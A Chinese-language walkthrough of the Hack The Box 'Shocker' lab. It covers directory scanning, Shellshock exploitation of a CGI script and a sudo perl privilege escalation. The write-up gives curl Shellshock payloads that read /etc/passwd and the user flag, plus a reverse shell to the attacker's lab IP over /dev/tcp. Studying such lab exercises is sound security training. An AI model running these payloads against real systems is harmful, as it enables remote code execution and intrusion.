当前位置: 首页 > news >正文

【HTB】Linux-Shocker靶机渗透

该靶机主要利用目录扫描如dirsearch,Gobuster,dirb等扫描得到隐藏user.sh脚本,然后利用shellshock漏洞反弹shell,最后发现该用户没有密码,sudo -l查看,利用二进制文件perl提权

靶机介绍

技能要求

  • Linux基础知识
  • 枚举端口和服务

学到的东西

  • 利用 shellshock
  • 利用 NOPASSWD

目录标题

  • 一、信息收集
    • 目录扫描
  • 二、边界突破
    • Bash 破壳漏洞Shellshock (CVE-2014-6271)
  • 三、权限提升
    • user.txt
    • root.txt
  • 四、总结
    • 知识点
    • 任务

一、信息收集

靶机ip:10.10.10.56

攻击机ip:10.10.16.26

nmap扫描,开启了80和2222端口

image-20250330141327807

curl下载下来看看

image-20250330141413699

设置域名解析先

image-20250330141547729

目录扫描

disearch没扫描特别重要的目录,有一个**/cgi-bin/目录**

对/cgi-bin/执行扫描

gobuster dir -u  http://shocker.htb/cgi-bin/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 -x php,sh,py

直接扫描出来一个sh文件

看一眼提示

二、边界突破

访问80端口

下载此图片

利用工具查看,均未发现泄露信息

访问扫描出来的/cgi-bin/目录,/user.sh,貌似也没有什么信息

该回显和linux下的uptime命令很相识

重新访问一下,可以看到时间发生了变化,说明每一次访问都会自动调用该sh脚本

Bash 破壳漏洞Shellshock (CVE-2014-6271)

参考网站:https://www.sevenlayers.com/index.php/125-exploiting-shellshock

先尝试下面的代码

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.10.10.56/cgi-bin/user.sh

成功利用,并且发现一个有bash的用户

利用反弹shell

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.16.26/4444 0>&1' http://10.10.10.56/cgi-bin/user.sh

攻击机开启监听执行命令,反弹成功

三、权限提升

user.txt

这里根据以往user.txt的存放位置,可以直接利用命令查看,shelly是上面查看密码得到的用户

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /home/shelly/user.txt' bash -s :'' http://10.10.10.56/cgi-bin/user.sh

扫描成功

image-20250330152305521

那么在靶机里查看一下把,查找成功

image-20250330152242267

root.txt

查看suid

这里很奇怪,执行sudo -l无需输入密码,可能该用户就没有设置密码,总之发现一处root权限的脚本

这里直接执行之后不会有回显,看来是错误的

由于是一个二进制文件,去ctfobins上搜一下,利用此脚本

提权成功

切换交互模式查看

结束

四、总结

知识点

  • Gobuster目录扫描:相比较dirsearch速度更快,可选性高
  • Bash 破壳漏洞Shellshock (CVE-2014-6271):利用到uptime相似脚本user.sh
  • 无密码的perl二进制文件提权:ctfobins下可以查看suid使用方法

任务

1-4

image-20250330153012661

5-8

http://www.dtcms.com/a/108269.html

相关文章:

  • 人工智能基础知识笔记七:随机变量的几种分布
  • Font Awesome 音/视频图标
  • 程序代码篇---Arm汇编语言
  • Laravel 中使用 JWT 作用户登录,身份认证
  • vue开始时间小于等于结束时间,且开始时间小于等于系统时间,时间格式:年月日时分
  • Python每日一题(13)
  • 【算法进阶详解】线段树应用
  • 洛谷题单2-P2433 【深基1-2】小学数学 N 合一-python-流程图重构
  • 脑影像分析软件推荐 | CONN
  • Django接入 免费的 AI 大模型——讯飞星火(2025年4月最新!!!)
  • 安装完 miniconda3 ,cmd无法执行 conda 命令
  • 接口测试(2)
  • PyTorch 深度学习实战(32):多模态学习与CLIP模型
  • 中级:Spring框架面试题全解析
  • Labview信号采集与多功能分析系统(可仿真)
  • Python基于Django的新生入学管理系统(附源码,文档说明)
  • 06-01-自考数据结构(20331)- 查找技术-静态查找
  • 【Linux系统篇】:Linux文件管理的“地图与指南针”--从文件描述符表到内核缓冲区
  • IDEA的基础快捷键
  • centos7强制升级docker
  • jupyter notebook笔记:下拉菜单中添加新的conda 环境
  • 人工智能在生物医药-新版ChatGPT-4o辅助一键生成机制图
  • 实战 | 餐厅点餐小程序技术解析:SpringBoot + UniApp 高效开发指南
  • c++柔性数组、友元、类模版
  • ubuntu18 server版花屏问题
  • 脊椎CT图像分割技术详解
  • python中的 f 是什么意思,f‘{username}_log_archive_{int(time.time())}.txt‘
  • 【diffusers 进阶(十四)】权重读取,查看 Lora 具体加在哪里和 Rank ‘秩’ 是多少?以 OminiControl 为例
  • Vue3+Vite+TypeScript+Element Plus开发-03.主页设计与router配置
  • 智能设备运行监控系统